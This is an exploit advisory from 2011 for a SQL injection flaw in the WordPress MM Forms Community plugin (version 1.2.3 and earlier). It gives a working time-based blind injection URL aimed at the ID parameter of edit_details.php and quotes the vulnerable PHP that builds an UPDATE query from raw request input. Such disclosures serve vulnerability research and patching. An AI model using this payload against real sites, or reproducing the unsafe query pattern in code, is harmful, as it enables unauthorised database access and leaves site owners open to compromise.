WordPress MM Forms Community 1.2.3 SQL Injection

`# Exploit Title: WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability  
# Date: 2011-08-26  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/mm-forms-community.zip  
# Version: 1.2.3 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/mm-forms-community/includes/edit_details.php?ID=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20  
  
---------------  
Vulnerable code  
---------------  
foreach ($_REQUEST as $key => $value){  
  
  
$SQL="UPDATE wp_contactform_submit_data SET value=".quoteString($value)." WHERE fk_form_joiner_id='".$_REQUEST['ID']."' AND form_key='".$key."'";  
mysql_query($SQL);  
}  
  
`